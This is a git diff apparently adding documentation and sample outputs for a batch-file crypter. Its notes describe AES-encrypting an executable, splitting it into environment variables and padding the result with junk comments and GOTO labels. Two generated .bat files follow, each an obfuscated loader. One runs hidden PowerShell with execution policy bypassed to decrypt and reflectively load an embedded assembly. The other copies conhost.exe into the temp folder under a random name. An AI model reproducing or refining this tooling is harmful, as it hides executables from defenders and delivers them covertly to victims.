+### 3: payload extract and order
+1. 21 ba64 encoded segments (109,272 chars total)
+2. **important**: segments must be joined in a order
+3. traced line 42 which has variable `43Nn4obTrQ0J` containing the order
+4. found 73 variables to extract correct order from line 42
+5. order: `j97KQu6`, `JIMZlyBt`, `lloztMu`, `oAWM9gN3`, `xAEr2y8D`, `u9HraJGX`, `xNF82uy`, `amiieM`, `ih0wojr`, `SeLNlxJi`, `nrp2Cd`, `ndOVLLU5`, `ilUetRQ`, `Ravpss`, `tTp84C`, `rNQFeP`, `kd7VYdp`, `OD1pagW`, `k7EmPoW`, `TGOERjgr`, `xWiRpFW`
+
+### 4: AES Decryption
+1. joined 21 segments in order > 109,272 b64 chars
+2. b64 decoded > 81,952b encrypted data
+3. IV from first 16 bytes
+4. AES decryption key: `96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd`
+5. removed PKCS7 padding > 81,920 bytes
+6. yuppurs decrypted payload starts with "MZ" and runs correctly on vt
+
+---
+
+## steps
+
+### step 1:
+``` input: exe > PKCS7 > RNG IV > encrypt with AES > pend IV to ciphertxt > output ```
+
+### step 2:
+``` input: encrypted output > b64 > split into segments (21) > each segment in a var ```
+
+### step 3: 
+``` create var containing the list of vars, split var name itself across multipile vars, reconstruct using var. varvarvarvarvarvarvarvarvarvarvarvar ```
+
+### step 4:
+``` var chain > each var has part of ps cmd > last var has AES dec key ```
+
+### step 5:
+``` split every cmd across 4 to 10 vars > random 8c var names > 11 random labels with GOTO statements > junk comment lines > random CAseS > final output ```
+
+---
+
+## details
+
+### AES params
+```python
+Key (hex): 96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd
+Key (bytes): [150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189]
+Mode: CBC
+Padding: PKCS7
+IV: first 16b of b64 decoded payload
+```
+
+### ps flow
+```powershell
+# 1. sleep 3 seconds
+Start-Sleep -Seconds 3
+
+# 2. create AES decryptor
+$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new()
+$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC
+$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+$jPFh8Se4.Key = [byte[]]@(150,182,100,248,...)
+
+# 3. get payload from 21 environment vars in order
+$wEAR7v = [Convert]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).ForEach({(Get-Item "env:$_").Value}))
+
+# 4. extract IV and decrypt
+$jPFh8Se4.IV = $wEAR7v[0..15]
+$F9q72zl = $jPFh8Se4.CreateDecryptor()
+$4lKXVT9F4 = $F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0, $wEAR7v.Length-16)
+
+# 5. load as .NET asm and invoke
+$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4)
+$gEBOJ.EntryPoint.Invoke($null, $null)
+```
+
+---
+
+## how to use the decryptor
+
+```bash
+# extract correct order and decrypt
+python extract_absolutely_all_vars.py
+python decrypt_with_correct_order.py
+
+# output: PAYLOAD.bin
+```
\ No newline at end of file
diff --git a/testexe and outputs/._testpayload.exe b/testexe and outputs/._testpayload.exe
new file mode 100644
index 0000000..96ff44f
Binary files /dev/null and b/testexe and outputs/._testpayload.exe differ
diff --git a/testexe and outputs/output_1to1.bat b/testexe and outputs/output_1to1.bat
new file mode 100644
index 0000000..b3b1123
--- /dev/null
+++ b/testexe and outputs/output_1to1.bat	
@@ -0,0 +1,163 @@
+@echo off
+Rem kipabomo zakapi bano nonalila nitoba mopitoti ninimobi
+REM kilanoza kadiki tapipizi tiramo torodino ninoropi labamizi
+goto :vL0gwM6lGY
+%qZiliArJ%::%B5d0hLn9% nolaboka tapari ninoropi
+REM rirano panapala didi lodoka zilotopa lamo
+%sqer9W5C%rem%i8xSkiZh% tiramo nodokibi robikoza nolaboka
+:vL0gwM6lGY
+
+set "QHM6xrrJ=t"
+sET "eI06A5jL=e"
+sEt "aOGFgVV7=s"
+SET PShXNFrD=t
+sEt M9daVqOz=p
+sEt xH7huVcT=a
+SeT pzgcPkJr=y
+seT DFbEusJd=load.exe
+:: zoti zatapa kozari loma rilatipo pokolo
+REM bomokima narili kipabomo bikoza dipiziro kanabo zado
+rem zilotopa kozari zoti riramito
+rem nilali dazodato panapala kobi zilotopa danona
+goto :n1m229
+:: labo mikazota ditona lita ranikizo zipinaba tapari zado
+:n1m229
+set E5SArf2x=cAZNq/O4lFR8nhhHHBxZHSyCPqYlij0USHa0d4iRnHO3mai2GF3An64VKXcuy9h/1MQDjttZI323NBL2GO3Xo/3a8FpFpk7h6SLa8Q589K90vC3REr4EMT5xjo/ASAIrp06xGuD6MfaX+kajyvZe+2aLcCaJmg7uK7b+whazLnttftppVWGKOVEuNQv+2WzuDpof/U0cuLfyf5e2cebJFzlV8Iv1TYropVDuVxyx4y/w5MLlf9EwCsMVnz72WMjOZcOeWw
+SET Mz54j3Wq=S9HFeS/uaW0WkoGnHVz17eVScM4ovRlHSciMK6GBdnb+LYKQp5fN0e+JmIgea2SS5pV+oxNY8/Fwrc+1+Mg3j1n8av0hcp3AiSaeYgq51F78MMMwXANTFCc1+Q9ofCk6IXxZpFiUveaa1WmReHzhLV6jebROsoWZYlInPjKKjX9XBUCmiyCZrIiE+IUgoUyvRMzENwYRIn0XSdhuHwkdwCgRURG+sGh9UyQZ85PuSe30ocKe4TUuaqMoxKB3r3fu0FH+Vl
+sEt OSZHBbxW=rJ/h5PrAYXjkjgH6fiaag2+oYNJVDpPBdWloi6I4gGIM+CglUSUfSFjssgbvBB2ZCFG98UPQpS1oBUuk6/oeKa9BsUqEfIvqCNlSf9fcJW4HJhXu6+zFc+0IOBSEYkFN614H5TtU5w3qPVdrOpVHTqDomB4rR+J2KQIY87zr3fTqoFkZr0IKtGJfElhA4xjSbiWFjD9IGgnwGSmdpPEgWrYNvvxzfLPpxiRQCfY2sp8QeMIrW9KtKauoVAoUGFI7jWZluA
+SET KivNLiYN=B53+8e0MlEgEueWgpw54uorpWhj/IpO2Bgyzljmy9zAxUzWsbyQ4h82Dvua9MVO+Ik5aU1SN97m7BMdDU7tqETR0+coCi4D6e/CBAbnPDYYMXWqeWPMyy9gD/8foKx/bZIdskD5dOIE42KnfdP0VajSo7qvpq4gLsUzRLzl2iqSdUtcVm/zVo+whB0DjbPSqEJTNJIXhVHUEY9P1/75VvTtXiTFC05opA+SI+xrlmR2fXHDj5CHCPTLRHwNtjy/95uW82E
+SET IViByJQa=CG7nSE8KQFGCd34koE+pnuB6oVstT9UcVcXYZPfhUGzO2RSE7gquljTWa+O/LjBGydXYZ0uAzBzOfXVtDMl/E6+VLCGqkPyOx43SXxUG3F9QClG+nVqLvtNejqOwrb3tSwBqL4htY9w73CMjSliWmtAAJNrypWA0RoUh3Ug4+CO0NzjhS8CL43ppLOD559lP1EWIjtFal1pJONEW8wbccMdrCt12OtdmhY0ZLx4Os+Hg7iog3zL0haTipHli68Pq1tyYgn
+rem ripanika kozari nonola ripomoti loma tika noto lazozi
+sEt Zj3iG1r4=pFj4pTRDF/g9DgSvULinj5+tYFe9SV/bhbZA2h9SiHMAqXVV8n8buxcV2VxpFoWUYg53tz9CVadKnv63V8CVr7fgDWOT6a2zps7odhTf028efOQTLMs2NJPfqxyTFqQX1ysDJ5N0zyGG3lmOgpduC5UK/neGGr+kWnmR+1pj4qy+TPdBJtAwIeD0otY/fse7MML7RG4u6Rucnq441DdhPJBmEwKYLJnj0P0g9YKABwlmrhdVDUz/SQQmmcpvhOW78/ikSw
+SET wAOI3Y8B=8pFKGtFt9PUzYd0NZFrzGY1HeDlwKKo0dLAnc/QZsSrk8MpuJ3b1elmTCrdi7TT0cA8GFngruPvOySBamlyIVqQwb9BJ2HM/oiHPHP9H6Cf3y7Xj/oHPEPV+aWiSzcRybOxMrOiadeZZnKkiJVTFsGHIzlLamifRB1LAXdjVhN+9+rhMyBe+uoKhZDsCGd0HtmzKYxP7DvY1NkItMqh7IrOp7bx3epzAZJ3DK4Os1rE/zitxzCBzeRs6L9QiRkKKobDFsO
+set JZA7v0jh=QiM34ZOpMf8YtTo3KvXnQ1YXF/xLQuYXDPzyix3fu7XNje13DOA/IXZ6KAFkwHn/LTB7YnLKkkstR6TBcRV9faBgzcuPA3lHxKtDOs6SVfSF4dFJsuMrWO3AMVdnbaJ/kaUV1kpBMkZhcowCcsVDsxmJ0GYQ0B7aKDOstbbmVTnq3r5EkCAhpcNSQRJwl8WC5LQYDjNrlOO3/YlZqAjWre231VhSvzEAWlWFh02y7/07yHJvV8MNMTFsY/l4X0JzGYjUy3
+SET DAdfHIee=UVjn4PWfXAYMQD4tPtQujlSEbSBC7w0H6NlFgO3MNv64eKNos8JGUMIUnDy6fS79StJzKCvMD817zCnQ6CQmpmoYbxxk3TCk/eVuKFsDrY1HkEdUw3Pxqewmjz2kU3+HsiptZgF5v9wg/VU53CzlUvUQeK++XWCohQBsqYWj3tdtozU2P0Cps+FMkOmqvcsgTRuQK0HVFPkI7f0lgSW3X54QbkyZcxKzmwJv5fSPTHwL5rmk/FKS9/FcffRC9rNDPMmMHy
+SET kjdUyGwR=Y3z3xBCa2CY+CsHCsE+sL4nshFh/TCxqTc1xz1e7lREHKCGz1JSD7J+DIDTSR5e1io1WfQWiSfycAjKT42D+ktRy976vdgCqlJSqpE6sTzsBIGmL+CTPc2K+K44VB3FPtOKIFt77vMg38Ml2xOqlLQprHsXVzZa2MHtXEe57Xr6f1ql2Lx51qLfP9yZgNaUutxseOZLrnZ+8Qji0K7Jmde7fGCynZTOnU1CAc0K0zvQNAPgy35xgcePEAZRJMa5C8NT9lE
+%MIBk9PBb%REM%CKvgikrs% zazolomi tika zazaba tapipizi miba takizo
+SET ODyICk9W=VagCbcF7K2JzPe/a+NrBztPGihmXeqGOd0tt4Tfb9QYm7KBEYWyWvqE2tffr63jsHiI35YsBwx5qmMlDbE3EsF9OE8MRCbUP1PyhgUTWbxns+Ro/WZM4pf2ysChfoBCeGzJHNzpJQZvHotbhfkfszlpjJH7ggp6ktdjDiVg4uv/sz1J5Oo8EGOGUIzjLvcvZa778P/uFOey/JTVIOBZwiGGeGHGQqs5NdKhPKDtXv5TwJnNcXvOnJI1oNUaOEamlUOMzfz
+set x0vsYYSk=InZBUaPIy0aRphQsOH5KISjt5Gm/T++LxnrfxkFnRwC+ecpK//IwL0tNgnGurgtFiGde3R/x5s6rHwwXFrS0Hv0SJ3+12AEM7QaNHilT7GdsDfOUuPzp8NG6+PMC0PfQZAcMXmcLirP4dVC48MTOEpA3iNpeTOMnU8HHTgYwLU66wfmxR9nQcTgQKJFGntXqaJsWJECHwidoMh/7DGBxN9Ay5PEnpyAt4vjWeifMOg2jna9Uf0JblHbS1Loa7/WKX2cJjS
+sEt WrkaZiHq=LTmBLQ+tfZ2yo7yIxvgUK90grvsomOgY005dyjt2xcjwL8EA9+ggY0mSTViOWR0ehj1kDbySp/C7GzfrAFut7CB3CExEGQYHm3VFB0imAMJqfLbYeUgtAUc11/F66kcfcxcZtFfhhVo9rT/ceWluhIecClspA04QIpHMWtVrkHr+zQLA0FtYeczlOg15rNK0oGq53cZoQR88NnBZMDCqe+ArS+Q8J1LHAtBniMTCflu6SSn4kmn3Psa9l/knIVnupDPHU9
+sEt RVR1sGlk=/J5p126WijFDNRe3mjQ2GsJbocheucitQZ1G4LkbmH5VcL/EIa5hbO/WO0KtMGCLheKr6m9QIgxMPdYEb4869ElO72XOvlbh0/QnUGd0ky6WcndNc2fsLXs0CQdddj9kIISltGZs00DFYPxGqt08RMyOL6tTzrKNg6ALhzZlkb3VgjWwTL9FIWTzn0vSQEOo06Wt+d+axdsAxS3gS2Wj7I4lozyeue+BO/mcB8SfI2WHS+IG9HFOVVxPj4ox5++ltdO2oU
+set raQoGp88=Iqk7pba/p22E6Iga4itGThJzpKVbOHWXnDH6ISw/XWV4B3CUtkq1kWmGeUx2v+RQvWZrMz7Qog8a//TUiDi6SVRg+8LRUYfsuU7H/Fi2vuB0OwCJ/lwUQbqz7+C1AyiV0E8nQU/0fgc7Qlf8vE75ZsQ8vUn8sJXhj4+sUs5a0LidN5Xoe8NBQeOpzUBxyeavGW5564L3wL5hdQw/wkIxrXUfZcL1XhY99yqI6051Xcp8UR5KNIzQJdeTZQkMOWwPByCR8j
+%HbAPknok%::%xQ7CorZ7% zido tika lodimoki
+SET js0ADr6a=YOZ8jaWuoffNbD5tyXpnRhWc2M0wI+5GTx40959IuLG4PNXpV5Z/n+oGJv+uAPnyjAtxNVcE3nGosWxV+DcKqxtkL9aq9yhhQkET0qDxFFMFrINr1jf7w0VOt8mqtye1QnTRkB9DR7rcUKg3wa3MNtIWwy5tzwVzXMRJSQKXvSbxe1RAMmqFe6oahRn7s3fxdDi1GFsTmDnl2K2n3xp6XfR4PVwiLIyfEqfnggpd8EsMZFO0Nn0Kg2EnOd9+tTMVZOWNsV
+set HCrxZADp=Wxn9yMz1cI/+nq1EUcVxqOubT4c8cZS321K/dvmlWyH7iMTE7qumCrSEqkyQHNZaw1F9DrcIqxtXQkcR2DDd02utTI/XuJxJdlPTUpacMw60XOMTRB+Yn+2p9mTPKgIlE+B+nBsFqCs8CeHznApL8H0WWNM4EWtlY6KQ1LVrHrkKqf9Ija0VUWI5MgWwuOrKFF3k0wwv9ohOTKD656iAVbWYCFB69pe8fgw4hhgIQXdm1dpje60QkZOpwFx8zgP8c8x0U6
+SET heP1CCKf=vz9C1rj1mjB70fotOFz0QTYFdAGA9QfgQtRRuSl77CCPS8eKiSUDFqjzRPvPaCu1hrJXUTQP+2PPRxRkc53csE3Z0xt5EKkuf3SKS28LeweQxQQQaNlg499BPUSy6TkEIAMccW+ztv14y61N06dAnUDw6JGBbQS8qffmUc79Jkv9ppAY68vxIHBflTv2yxD8P0NuVGuMNT+WhpOfbAlORsQIbawCZ/QvEetFDgTneSIs90VS9+kH7ryroE9eiS/Us59oAj
+sEt URrHtuVX=/2+ZSmKtdZOn8W6cSkPCpXdl7u5j6INOjCO/YBT+3gxqpkx7ZhEDomr6oTDZhqj+zxcr2ET34qncziC30hPBDq7aFreipXzfxAw2fhjh22nMYzva20P9+IKRwZAMu1rClfyVe2cUttoihWR5mCmG0qWpENVJ5weQLMb5EECzUTFgXFGPYbE9B2ZI6jwDyKVzK8isg2qz6stiOCjrDoGl3yv00EpZmX8eYk7Bxr43BAHGtbBbUE9bT7ZSXHwvz55I/98Iyn
+SET W27dRdor=CkifNrKJlQVjpBemBx04YuFrIa8bG00w/Yy4vo/r9nHeEjAg3xuzXpEufpfHdWLINyCQJxvlhkE9QQprfpKmku+FQLLf0lg8wCVN0h7BMR9RP0mUrLQns2qcXSDTACWGCZSrRLCBB3zdLYsRrkkJo/7vDvM5ALDoXto6C7EmlGFLktlARB9atB9bdJCfx52EiwkSKxAXnzj6z7PgbVdRx9kfhIFN4ICAzaqZ681i8jdXQK/bW6iZZKySzHmoYQ553zFGcr
+Rem panapala kiramimi ripo moli mikibaka zimo
+sEt bSjRBAJ7=1KiCOz7x/nvpSNHqkRdwRMaKxbmc14ErlD6zceabbnslgYgoVBhgphgONPx89MLLivk+jOsyrC9wVQfCITgKUlGjmaLuujeN0GyDYzOJrmL7XIg3omNo72VvyrAiygNoYsDDB9Jadd4hHtbinzluEfIWPm1pxdR7nBxtCMUjQoUp9DNKmDPXNpQdU81i+DXii7x9ldvy6+m1/UhxqMg9bhtYTKVL3KerMEODH9sVRbrMvBwl7qrldn40eGd0zJuslYB86k6r
+:: popiliki zalazipo noto kilanoza
+%p6Mh76s0%Rem%GUTMLOdY% kadola torola tala
+Rem ziromoti bikoza pili notiri larala
+:: bano rozoboba nonalila tatabipo
+goto :lbdFme0GXnf
+:lbdFme0GXnf
+SET "caifiwMo=E5SArf2x!" && %GP96DE1J%rem%H655fuxq% riradi moma zakapi pirido zoti nabi ropa
+sEt "SUFMnTHK=Mz54j3Wq!"
+SET "PNI4SNDk=OSZHBbxW!"
+sEt "PqT5lZYL=KivNLiYN!" && REM nida zoti titikoko zaritabo
+SET "giS1OT5O=IViByJQa!"
+sEt "G15bnTBj=Zj3iG1r4!" && %LYcJrNfR%Rem%jfmWQdip% lota nomaki nonalila dobili pibotoli popiliki
+sEt "qS0d1i6t=wAOI3Y8B!"
+SET "jRfLoUSV=JZA7v0jh!"
+SET "mPkyvtdf=DAdfHIee!" && Rem tidiropi riradi kokiro bipino rolazo nabi
+set "xUQC83sf=kjdUyGwR!" && %LfOo0MNL%REM%FQo9Qbsd% toba lori zatita zodi kozadozo kotiraro nabi
+set "lmzfrXCT=ODyICk9W!"
+SET "mJe1Ru0G=x0vsYYSk!" && %C6BmcOfm%::%Au0KxR5H% rimomo mota pirido zaraboli ropa kotota tiramo zatita
+set "BZEppChT=WrkaZiHq!" && %IMX7CQi7%rem%c83c21dY% zazaba kadiropi zimo kapapori
+set "BI3mfBup=RVR1sGlk!" && :: lota zatita roti nolaboka
+SET "mKOurKGm=raQoGp88!"
+SET "j3tJXi5X=js0ADr6a!"
+set "b316CVtm=HCrxZADp!"
+SET "ZD9ECOLo=heP1CCKf!"
+set "hfh6kV9f=URrHtuVX!" && %dxdMeOcc%::%ZOFc9UnU% zaritabo lanapota rabiti zazolomi
+set "haAZDQ4A=W27dRdor!" && rem pokolo labamizi ranikizo rabiti rini
+set "zpYewLhD=bSjRBAJ7" && REM kapapori zatita lodimoki bozo
+SET "yCRhJku8IRHM=%caifiwMo%%SUFMnTHK%%PNI4SNDk%%PqT5lZYL%%giS1OT5O%%G15bnTBj%%qS0d1i6t%%jRfLoUSV%%mPkyvtdf%%xUQC83sf%%lmzfrXCT%%mJe1Ru0G%%BZEppChT%%BI3mfBup%%mKOurKGm%%j3tJXi5X%%b316CVtm%%ZD9ECOLo%%hfh6kV9f%%haAZDQ4A%%zpYewLhD%"
+:: lanapota tapazi lamo pokolo tapari rilatipo tapipizi
+rem zido moli ripanika torodino pili bozo notiri
+:: labamizi kozari lopomobi dazodato liti zimo kilanoza zaritabo
+goto :Lzpp9wR5aCWq
+:Lzpp9wR5aCWq
+sEt "CrKmQwGz=$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"
+sEt "fdgQcZiX=$jPFh8Se4.IV = $wEAR7v[0..15];iex $env:CrKmQwGz"
+SET "PfW1DjPc=$wEAR7v = [Convert]::FromBase64String(-join ($env:yCRhJku8IRHM.Split('!')).ForEach({(Get-Item "env:$_").Value}));iex $env:fdgQcZiX"
+sEt "bMYVBp6i=$jPFh8Se4.Key = [byte[]]@(171,143,7,164,190,81,72,104,31,238,209,154,165,163,89,131,212,33,59,64,33,4,240,187,139,97,118,160,166,69,226,146);iex $env:PfW1DjPc"
+SeT "kNUm65y6=$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;iex $env:bMYVBp6i"
+SET "vNyB1bF2=$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;iex $env:kNUm65y6"
+set "LVph4dqW=$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();iex $env:vNyB1bF2"
+goto :TejwFLQYTRym
+:TejwFLQYTRym
+set "cJp97kWe=powershell "
+set "DiV3Uh7Y=-ExecutionP"
+SET "hHex5g1G=olicy Bypas"
+SET "DrD1U9Gs=s -WindowSt"
+SET "rJY8T6aK=yle Hidden -c"
+%cJp97kWe%%DiV3Uh7Y%%hHex5g1G%%DrD1U9Gs%%rJY8T6aK% %LVph4dqW%
+
+Rem rirano labo bapopo
+%YbvbHBPN%rem%BKneCGH5% tidabo tidiropi rilatipo
+REM nonola tala lamatibi zilotopa pako
+%y3cD9oxW%Rem%aCz9xs8A% kotota lodo pirido lori
+:U3JnSvEPuw1
+
+rem rotimani doli takizo
+Rem pomona pili ponimado nonalila zaraboli
+Rem lita zozata nirazaki pibotoli
+REM tina torodino kadiki kiramimi pamololi tazakoka
+:Ve5QgYCAO3
+
+goto :dIlI92
+rem zaritabo pibotoli dilaboza dipiziro patoti
+%AYSeDuz0%Rem%auQT2QC4% nirazaki takizo kozari radipata tapazi bokizalo
+REM bano nopo kadiki rotimani bori rilatipo ninoropi dilaboza
+%AlAYyzmi%::%LGYrF8Zx% baraza baza nirazaki larala
+REM lita zazolo tapi zatapa bano
+Rem dazodato dini rinopono kamono rozo mota koranaka
+:fEptsO5fulgy
+
+%zxRITLx6%::%iegmjjkW% rinopono zodi diro riradi kiramimi potapaba tina
+Rem ripomoti kipabomo kobi robo miza
+rem kadiki rozo pipabi pirido
+Rem lita toba zaritabo dota dala
+:dIlI92
+
+REM kadiki bokizalo zoti zabara
+REM bomokima lodimoki zitinaki kiramimi ritazizi riramito
+rem rirano bapopo miba bakina mitinira
+REM zoti rimomo nomaki kadiropi nipaba zalazipo toba rozozaza
+%zJ7Adv46%Rem%ofAQROw6% rimomo zoti labamizi riradi radipata kotiraro lopomobi tapa
+:KxFrICkRJqU0
+
+REM rabiti nitoba baza tapa dikopo dipiziro riramito panapala
+%XukwN4NV%rem%f2Ar8JZo% larala diro lita ribo
+:SJcXZeoY2
+
+goto :BT337Q
+rem tala bado kiziba tidabo toba
+REM takizo patoti ritazizi
+REM torola palabi diro
+:P1rrdgaSvxc
+
+REM bapopo liti nopo mota
+:: robo pili databika nonalila bizalo diro zabara manibi
+REM kiramimi lanita nimazido pibotoli moli lori
+Rem bado zitinaki tatabipo nabi torodino nodokibi bizalo bokizalo
+rem kobi lamatibi nirazaki riramito nimazido
+:BT337Q
+
+%X7LS94nu%rem%BajjA5xW% mozi dilaboza diro roti tala pabi tapazi zali
+REM kotota liti bitima todaloma pibotoli nonola riramito kilanoza
+Rem zido zazaba mozi tapa mota
+:eClFnen
+%yx12cyJO%REM%HFgBhzpq% kotota torola rozozaza tina
+REM zazaba pato tika dilakomi
+:: manibi lazado pili ninimobi tika toba
+:: pili roti miba tatabipo narili patoti
+REM zakapi rimomo kanabo takizo kotota bikoza rilatipo liti
+%nJtFVv9I%Rem%J6mxjDYE% zozata kozadozo manibi zalazipo pabi
+:: nolaboka notiri rilatipo nozo
+Rem nonalila lodo ponimado nodokibi dipiziro tala
+REM zakapi rozoboba zazaba ropa
+%WuMHNleV%REM%KxTyeqWA% ripomoti tazakoka pokolo takizo zodi zalolopo doli
\ No newline at end of file
diff --git a/testexe and outputs/output_improved.bat b/testexe and outputs/output_improved.bat
new file mode 100644
index 0000000..6cc85e7
--- /dev/null
+++ b/testexe and outputs/output_improved.bat	
@@ -0,0 +1,181 @@
+echo UM > nul

+G%i4Wwoo%o%RO4zSb9WPx%TO :pS9)Kc

+%YBjgTgU%:: %Yomea1Q% favuloxexema jagezoyogi jugisibaj jocuvex zukeg pejulojoce coyiyehepec

+%fDQCK9rVMB%rem %oZc7ml3P% nowexed qup suyeno qegusa

+:pS9)Kc

+@echo off

+G%mngTQ6JeZ3zf%o%BuWqqhmpRn%TO :Thf3ZKo

+%f8SrWiwAOz46%:: %uL3S9k% rev futaq moruzifabi lukafomagaj jajafemiqodu wicexawux

+R%S6qrGRi%em %SzxpVGVsstni% qonowana pepumufe gosovugoqiti moqeh nasoz bafutatakaci huxewanudu pixijak

+:Thf3ZKo

+r%sTEv1H0y6fvj%EM %oOkDidYJ4so% heniyih dey curacegege giliwe howajab

+g%ZCUa9aRmZvJ%O%gF98ddhx3%tO :c16Jd(Dew

+%zFBBgp%rEM %GinJ7T% macazop hafucohuz legopevayu muhegozupoj

+%uUTFxkHXdd%:: %e12kx65% koxeris yihitaxaq vij piduj qam xakecorasohi

+R%QEaNJFdub%eM %uXnUjK% zahoqiwabe verer kavihabice wike mebakasoso sukuyimubi wix cexuciyasesi ginayax

+:c16Jd(Dew

+:FG{T3QlC

+

+SEt "SPuz9o=nhost."

+SeT "yRwT5Plp=%windir%\"

+SEt "Okq8J6cyOK=Sysnativ"

+sEt "NaoPDav=e\co"

+SeT "XqPxdGG=exe"

+%ivn7HsUpUO%set "GhF05KG=SeT "

+SeT "eV4ZeoAp=YLrnaDie8="

+%GhF05KG%%eV4ZeoAp%%yRwT5Plp%%Okq8J6cyOK%%NaoPDav%%SPuz9o%%XqPxdGG%

+G%IS0Xhk25Gt%O%WeVQieKs2hr%tO :TNjsdL6(L

+%ARWpeUK88%:: %bcfmmo3q1% nozepaholire zuqakewelito muyoyuwo kevifatana qezo huj salusaz kuxege

+r%yQvaquU%Em %Z6BQBgsV% xuqowi hozegerito lubojatusogo jebob puwoloruhiwi viqixuyupip minojufib gumaruricev faz

+:TNjsdL6(L

+g%Tcmrod%o%tnDfMqFvyfH%To :yN0OmjpYer

+R%wC9HzYOy%em %A8NP2t2Bv% gemena pimemob rutatiqe wamala xocukiwofi pedon tayekalekep jubitemeku

+:yN0OmjpYer

+:xThBJWRN

+set "KUHX9ltd=if "

+Set "yAjInFlJ=exist "

+%noYesyzmKAfA%set "FV2dW5PX=%YLrnaDie8% "

+SEt "rf3ii0Y=SET "

+Set "fRXTEzU=YLrnaDie8="

+%KUHX9ltd%%yAjInFlJ%%FV2dW5PX%%rf3ii0Y%%fRXTEzU%%YLrnaDie8%

+g%CF4dh0%O%fKiNsSi1Pz1D%TO :hGex6z

+%gepmhkIe3B%rEm %R9D5FAC% cohitupinu pubayasafuc fepahoka kukilanu dek ducikaj derefelepin becicir vuf

+:hGex6z

+:gp3KUOr

+set "LpAf0=%windir%\"

+sET "vleK2=System32\co"

+G%ao77lftkcLl%O%XioFYuA9PfA%TO :E}[s1

+r%sp5Ubj7vN%em %xOYrOW% coxojasi jajacepezip qut cikexuduso puk

+R%fCCxSkK%em %XfN2GzEkIs% cine tezucuhalax qodoqaziko lazagavayaj vinixu

+R%mqwUyZnQ%em %iblKXakojdM% waboneqeb hov teqo noyevivul nufagobaq qayocupos citaqezey

+:E}[s1

+%GhF05KG%%eV4ZeoAp%%LpAf0%%vleK2%%SPuz9o%%XqPxdGG%

+g%yFYe61%O%IxvAzw2%TO :dfKHZermzr

+g%oxgcTWn%o%dwfhTwvJZPYG%To :kGY0f

+r%YZcwJUkG%em %OBq93I4Kan% xefefaxore nedivilu yodu calilicerec giwofofedadu burinez zetuziluduna

+:kGY0f

+%K0IvNjfAdf2%:: %Tr2oyAu7ewr1% buce wepecetub pakey yiwakalil rezifupidupe funama fezicavaho vux

+:dfKHZermzr

+:rrqpDby0RI

+SET "PgzYDy=OPu"

+%bNoVnQR6q%set "mFpPBD=Ep14bB"

+seT "ojCItpGY=.ex"

+SeT "q0M0InwV=e"

+Set "Bkhmsny=copy"

+g%wSjnLvY%O%qvKUdT%TO :b0fhbEPsX

+R%lKB74OV%EM %obIJPjSsl1UY% piqivo xeka gadekale siholozur vov ganuti

+%aUIGdWi8g1rw%rEM %XpVaLou% lukiz yorexu rune nupoc dazakupog fisayefa

+:b0fhbEPsX

+%TV8LgjX%set "rwar6=%tmp%\"

+%y4xCRuewUtn%SEt "iGC2FG= %YLrnaDie8% "

+%Bkhmsny%%iGC2FG%%rwar6%%PgzYDy%%mFpPBD%%ojCItpGY%%q0M0InwV%

+G%zy8NCRlO4m%O%KTswXKonjKkA%TO :JolkH

+%GgWhuZ%:: %OsVxJ4M58u% ferizidez lonomehet kimacowuyemo riqakesaciv guvulunuyos toyu raluzun tolebiholuna niqa

+%Ejz1U5PvQal%:: %UuffPyQ% nedupufaz hovobovate kepan teyadulu qar racesixu pinobiqatafi buf

+:JolkH

+:khZzMjXeQq

+SeT NI6HgwBglFW4=uDjoNJQlrONtMEnYUmuoI+ZF1wkA52sEkmitc7znPSeAg48WCYOdx7FMQV4l9CWNBxpNIetfXd42CxZYdQqlDAunLC91byS6GZvkfyuFXWJ2ATUK1fqmbs6C1gl0oFrVyjRedwrC6PQ09wZMbOB/tRraHNcpmHo/K5djjx5PZyJAkW6A9MW4elvWwYRla31SQMwV+4axOtwWt2PIfm83170eOFMdLV9CFFY80vqkXinx3rElSAd6hqJQrSp1NfhtQXHzOEGRRBQSRvjwhT2fWMn+x6vsM0/avdy2Os5WGBelNMTPkathSCA5XefgiW0ptcFdvWE1UFeh2UssfhgJukK5N7zjy4oxAe4NePGOTlRzlL4hEJ7v2B6V9cxPBzzci+z8vtnvIBjA9B380yNDawfb9mHp7LuAa6q9jcAZvU+W/jzEbVUOLkAWnyh3LauaItM/RAZ5ikixjs0YxwpPLB8HNE7yZSZqR71CXQLO0i3oIWUqKOFN+HzvXO/9pU4YUu9Dg4bYj8As/pYW8Gcr107hD0qRswGBA5g6BlLKckFdozfSXUA3d52xzxeXPNsVQuziDEUmr5oaizsPPxJi4a+cTH9kl1ZSayLaYH6QTk9npcEOkD9JApsikHScHnwntEvZLk0oVh6O2SV1rflOU2bhe4vmRj+y10TtJScCF2o/uxDOrepI6G+7qmQYQ63yLi6zZrHk4jIzwa3fqNfEmzq+02n6s0yG+UMEiopDjyZ50q/2Ux9W1X5xNY+fxYh7TwvL+eORoTewUvt1PR6Xvq0CGBXMdt5RyuT1GTFmsDmRRiGNF4pqtxBy8jj5qT1xzcm9ohUed7rYrjzziMONAODksXZTiW0kn3oj2xpKgg1bxroJ7iT3HYldYstn50QC8OUHWvhfrNkJfHWuCwD07p9j8qJKAbUZAZeN0jdMmGx4E1kF2WlQKY6nfrWzeumXZmvJPX0Dnwp2fdn8FHCvkhJtLZZewKrgSlTcNGm7JjRue1XVMDpAq3tA0LXJGUa/pTuWlFk3cZKFzeTcNTPcN4N9Of7fDyD7Z19LO44S8YUa9olJfpQ91mIho